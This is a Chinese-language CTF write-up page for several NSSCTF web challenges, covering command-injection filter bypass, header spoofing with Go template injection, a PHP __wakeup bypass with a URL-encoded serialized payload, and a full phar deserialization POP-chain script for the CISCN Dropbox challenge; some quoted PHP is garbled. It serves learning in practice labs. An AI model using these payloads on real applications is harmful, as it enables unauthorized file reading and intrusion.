NSSCTF第12页(1)

[FSCTF 2023]细狗2.0

应该是和[HUBUCTF 2022 新生赛]ezsql搞混掉了

点击按钮出现了

发现输入什么回显什么

伪协议也不行

看源代码发现了这个玩意

输入了1;发现了其他回显

ls 发现了两个文件

发现被限制了

不知道是cat还是空格

绕过

直接找吧还是 得到flag

[SCTF 2021]loginme

标签提示说是CVE-2020-28483

只有本地才能通过

xff,X-Clien-IP,X-Real-IP都是本地,用bp试试

最后用 X-Real-IP:127.0.0.1 成功

硬是没扫出来,源码也没给,看网上wp找到payload

?id=0&age={{.Password}},得到flag,这道题是一个go语言的ssti

这两篇是大佬的博客

SCTF2021__loginme_loginme go-CSDN博客

https://www.cnblogs.com/seizer/p/17035739.html -Loginme

[HNCTF 2022 WEEK2]easy_unser

源代码:

<?php
include 'f14g.php';
error_reporting(0);

highlight_file(__FILE__);

class body{

private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

public function __construct($want){
$About_me = "When the object is created,I will be called";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
function __wakeup(){
$About_me = "When the object is unserialized,I will be called";
$but = "I can CHANGE you";
$this-> want = $but;
echo "C1ybaby!";

}
function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}

class unserializeorder{
public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
function __sleep(){
$About_me = "When the object is serialized,I will be called";
echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
}
function __toString(){
$About_me = "When the object is used as a string,I will be called";
return $this->CORE;
}
}

$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);

if (isset($_GET['ywant']))
{
$ywant = @unserialize(@$_GET['ywant']);
echo $ywant;
}
?>

人类最大的敌人,就是无序. Yahi param vaastavikta hai!

We Come To HNCTF,Enjoy the ser14l1zti0n

代码解释

  1. include 'f14g.php';:包含一个名为 'f14g.php' 的文件。

  2. error_reporting(0);:禁用错误报告。

  3. highlight_file(__FILE__);:将当前文件的源代码进行高亮显示。

  4. class body{...:定义一个名为 body 的类。

    • private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";:声明了私有属性 $want$todonothing,并初始化 $todonothing 为一个字符串。

    • public function __construct($want){...:定义了构造函数 __construct(),接受一个参数 $want

    • function __wakeup(){...:定义了 __wakeup() 魔术方法,当对象被反序列化时会被调用。

    • function __destruct(){...:定义了析构函数 __destruct(),当对象被销毁时会被调用。

  5. class unserializeorder{...:定义一个名为 unserializeorder 的类。

    • public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";:声明了一个公共属性 $CORE,并初始化为一个字符串。

    • function __sleep(){...:定义了 __sleep() 魔术方法,当对象被序列化时会被调用。

    • function __toString(){...:定义了 __toString() 魔术方法,当对象被当作字符串使用时会被调用。

  6. $obj = new unserializeorder();:创建一个 unserializeorder 类的对象 $obj

  7. echo $obj;:将 $obj 对象输出,触发 __toString() 魔术方法。

  8. $obj = serialize($obj);:将 $obj 对象进行序列化,将其转换为字符串。

  9. if (isset($_GET['ywant'])) {...:检查是否存在名为 ywant 的 GET 参数。

    • $ywant = @unserialize(@$_GET['ywant']);:尝试将 $_GET['ywant'] 参数进行反序列化,使用 @ 符号来抑制可能出现的错误。

    • echo $ywant;:输出 $ywant,触发 __toString() 魔术方法。

首先要做的就是绕过__wakeup() 魔术方法,他会把反序列化的want变量变成but变量

只需要改一下body的值就可以

highlight_file() 函数对文件进行语法高亮显示
__destruct()销毁对象时调用

仔细研究题目,只需要执行__destruct()函数内容,绕过下面判断即可

function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}

序列化

payload:

O:4:"body":2:{s:10:"bodywant";s:30:"php://filter/resource=f14g.php";s:17:"bodytodonothing";i:1;}
绕过__wakeup()

O:4:"body":3:{s:10:"bodywant";s:30:"php://filter/resource=f14g.php";s:17:"bodytodonothing";i:1;}
url 编码

O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A30%3A%22php%3A%2F%2Ffilter%2Fresource%3Df14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bi%3A1%3B%7D

得到flag

[CISCN 2019华北Day1]Web1

源代码没什么提示,注册一个上去看看

发现用管理员可以注册,然后除了上传文件啥也没得

扫一下

上传一句话木马发现被限制了

就算你上传 1.php 文件,他也会自动改成png 格式。

抓包修改上传发现有了文件。下载的那种.....

看大佬的博客发现又有新东西,上传路径可控,就可以下载其根目录下的文件---文件任意下载

这里需要注意一个细节,按照惯例和经验,我们上传的文件是放在 网站主目录/sandbox/hash 目录下的,所以要想下载php文件必须跳转到上级目录

上传成功后,能够看到下载和删除两个按钮,一般来说,下载这两字 可能会有任意文件下载的。

抓包看 ,确实如此

index.php

class.php

<?php

error_reporting(0);

$dbaddr = "127.0.0.1";

$dbuser = "root";

$dbpass = "root";

$dbname = "dropbox";

db = new mysqli(dbaddr, dbuser, dbpass, $dbname);

class User {

public $db;

public function __construct() {

global $db;

this-\>db = db;

}

public function user_exist($username) {

stmt = this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");

stmt-\>bind_param("s", username);

$stmt->execute();

$stmt->store_result();

count = stmt->num_rows;

if ($count === 0) {

return false;

}

return true;

}

public function add_user(username, password) {

if (this-\>user_exist(username)) {

return false;

}

password = sha1(password . "SiAchGHmFx");

stmt = this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");

stmt-\>bind_param("ss", username, $password);

$stmt->execute();

return true;

}

public function verify_user(username, password) {

if (!this-\>user_exist(username)) {

return false;

}

password = sha1(password . "SiAchGHmFx");

stmt = this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");

stmt-\>bind_param("s", username);

$stmt->execute();

stmt-\>bind_result(expect);

$stmt->fetch();

if (isset(expect) \&\& expect === $password) {

return true;

}

return false;

}

public function __destruct() {

$this->db->close();

}

}

class FileList {

private $files;

private $results;

private $funcs;

public function __construct($path) {

$this->files = array();

$this->results = array();

$this->funcs = array();

filenames = scandir(path);

key = array_search(".", filenames);

unset(filenames\[key]);

key = array_search("..", filenames);

unset(filenames\[key]);

foreach (filenames as filename) {

$file = new File();

file-\>open(path . $filename);

array_push(this-\>files, file);

this-\>results\[file->name()] = array();

}

}

public function __call(func, args) {

array_push(this-\>funcs, func);

foreach (this-\>files as file) {

this-\>results\[file->name()][func\] = file->$func();

}

}

public function __destruct() {

$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';

$table .= '<thead><tr>';

foreach (this-\>funcs as func) {

table .= '\' . htmlentities(func) . '</th>';

}

$table .= '<th scope="col" class="text-center">Opt</th>';

$table .= '</thead><tbody>';

foreach (this-\>results as filename => $result) {

$table .= '<tr>';

foreach (result as func => $value) {

table .= '\' . htmlentities(value) . '</td>';

}

table .= '\$table .= '</tr>';

}

echo $table;

}

}

class File {

public $filename;

public function open($filename) {

this-\>filename = filename;

if (file_exists(filename) \&\& !is_dir(filename)) {

return true;

} else {

return false;

}

}

public function name() {

return basename($this->filename);

}

public function size() {

size = filesize(this->filename);

$units = array(' B', ' KB', ' MB', ' GB', ' TB');

for (i = 0; size >= 1024 && i \< 4; i++) $size /= 1024;

return round(size, 2).units[$i];

}

public function detele() {

unlink($this->filename);

}

public function close() {

return file_get_contents($this->filename);

}

}

?>

download.php

login.php

<?php

session_start();

if (isset($_SESSION['login'])) {

header("Location: index.php");

die();

}

?>

<!doctype html>

<head>

<meta charset="utf-8">

<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

<meta name="description" content="">

<title>登录</title>

<!-- Bootstrap core CSS -->

<link href="static/css/bootstrap.min.css" rel="stylesheet">

<style>

.bd-placeholder-img {

font-size: 1.125rem;

text-anchor: middle;

}

@media (min-width: 768px) {

.bd-placeholder-img-lg {

font-size: 3.5rem;

}

}

</style>

<!-- Custom styles for this template -->

<link href="static/css/std.css" rel="stylesheet">

</head>

<body class="text-center">

<form class="form-signin" action="login.php" method="POST">

<h1 class="h3 mb-3 font-weight-normal">登录</h1>

<label for="username" class="sr-only">Username</label>

<input type="text" name="username" class="form-control" placeholder="Username" required autofocus>

<label for="password" class="sr-only">Password</label>

<input type="password" name="password" class="form-control" placeholder="Password" required>

<button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>

<p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p>

<p class="text-muted">&copy; 2018-2019</p>

</form>

<div class="top" id="toast-container"></div>

</body>

<script src="static/js/jquery.min.js"></script>

<script src="static/js/bootstrap.bundle.min.js"></script>

<script src="static/js/toast.js"></script>

</html>

<?php

include "class.php";

if (isset($_GET['register'])) {

echo "<script>toast('注册成功', 'info');</script>";

}

if (isset(_POST\["username"\]) \&\& isset(_POST["password"])) {

$u = new User();

username = (string) _POST["username"];

password = (string) _POST["password"];

if (strlen(username) \< 20 \&\& u->verify_user(username, password)) {

$_SESSION['login'] = true;

_SESSION\['username'\] = htmlentities(username);

sandbox = "uploads/" . sha1(_SESSION['username'] . "sftUahRiTz") . "/";

if (!is_dir($sandbox)) {

mkdir($sandbox);

}

_SESSION\['sandbox'\] = sandbox;

echo("<script>window.location.href='index.php';</script>");

die();

}

echo "<script>toast('账号或密码错误', 'warning');</script>";

}

?>

delete.php

接下来就是代码审计了

在class.php里看到了file_get_contents()函数,这个函数可以用来读取文件

首先是定义的 close 函数,我们跳转到哪里调用了这个close()

跟进代码,看到是User类 的__destrust() 调用了 close()

所以我们简单的逻辑 就是: User-> __destruct() =>File -> close() -> 读取flag。

发现在 User类里的__destruct() 调用了 close()。寻找可以触发 __destruct的unserialize(). 没有。

这里就考到了phar反序列化:phar://伪协议,我们便不再需要unserialize(),phar的特性,他在解析phar文件时时会自动对里面的内容进行反序列化。 再有 前面只允许上传图片,phar可以解析png后缀,因此考点肯定是phar反序列化。

在 File类中的 open()方法,会给this-filename = filename. download.php和delete.php里存在 但是download.php会受到init_set("openbase_dir",) 的限制,因此只有delete.php可以触发phar反序列化。 里面的 file-\>open()里的file_exists()函数 和 file->delete()的unlink()函数会触发phar反序列化

POP利用链思路:

上传phar文件

这里可以在upload上传文件,对于PHP,是以关键标识 __HALT_COMPILER();?> 识别phar文件的,所以文件后缀对文件识别没有影响

改成 gif/jpg/png 后缀

后端触发反序列化

upload.php中filename、delete.php中filename可控

unlink、file_get_contents、isdir、file_exists这些函数在处理 phar文件时都会触发反序列化

但是注意到 upload.php中限制了访问目录,如果想读到限制目录外的其他目录是不行的,所以由 delete.php来触发

执行魔术方法、读取指定文件

如果想要读取文件内容,肯定要利用class.php中的File.close(),但是没有直接调用这个方法的语句;

注意到 User类中在 __destruct时调用了close(),按原逻辑,db应该是mysqli即数据库对象,但是我们可以构造db指定为 File对象,这样就可以读取到文件了。

可读取到文件不能呈现给我们,注意到 __call魔术方法,这个魔术方法的主要功能就是,如果要调用的方法我们这个类中不存在,就会去File中找这个方法,并把执行结果存入 this-\>results\[file->name()][func\],刚好我们利用这一点:让 db为 FileList对象,当 $db销毁时,触发 __destruct,调用close(),由于 FileList没有这个方法,于是去 File类中找方法,读取到文件,存入 results

返回读取结果

__destruct正好会将 this-\>results\[file->name()][$func]的内容打印出来

pop链

<?php

class User {

public $db;

public function __construct(){

$this->db=new FileList();

}

}

class FileList {

private $files;

private $results;

private $funcs;

public function __construct(){

$this->files=array(new File());

$this->results=array();

$this->funcs=array();

}

}

class File {

public $filename="/flag.txt";

}

$user = new User();

$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar

$phar-> startBuffering();

$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub

phar-\>setMetadata(user); //将对象user写入到metadata中

$phar->addFromString("shell.txt","snowy"); //添加压缩文件,文件名字为shell.txt,内容为snowy

$phar->stopBuffering();

生成phar文件,在用phar伪协议利用一下就行

上传成功

因为download.php文件中 open_basedir 限制了当前程序可以访问的目录

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

因此我们只能用 delete.php 去触发phar反序列化

生成的phar文件后缀为jpg上传,

然后连接

得到flag

参考资料:

[CISCN2019 华北赛区 Day1 Web1]Dropbox-CSDN博客

[CISCN2019 华北赛区 Day1 Web1]Dropbox (phar反序列化)_ciscn2019 dropbox_Red snow的博客-CSDN博客 [CISCN2019 华北赛区 Day1 Web1]Dropbox_snowlyzz的博客-CSDN博客

[FSCTF 2023]Hello,you

不知道为啥我这道题环境不行 payload:ta\c f*

相关推荐
网安Ruler32 分钟前
代码审计-PHP专题&原生开发&SQL注入&1day分析构造&正则搜索&语句执行监控&功能定位
android
paid槮2 小时前
MySql基础:数据类型
android·mysql·adb
用户2018792831673 小时前
AMS和app通信的小秘密
android
用户2018792831673 小时前
ThreadPoolExecutor之市场雇工的故事
android
诺诺Okami4 小时前
Android Framework-Launcher-InvariantDeviceProfile
android
Antonio9155 小时前
【音视频】Android NDK 与.so库适配
android·音视频
sun00770013 小时前
android ndk编译valgrind
android
AI视觉网奇15 小时前
android studio 断点无效
android·ide·android studio
jiaxi的天空15 小时前
android studio gradle 访问不了
android·ide·android studio
No Silver Bullet16 小时前
android组包时会把从maven私服获取的包下载到本地吗
android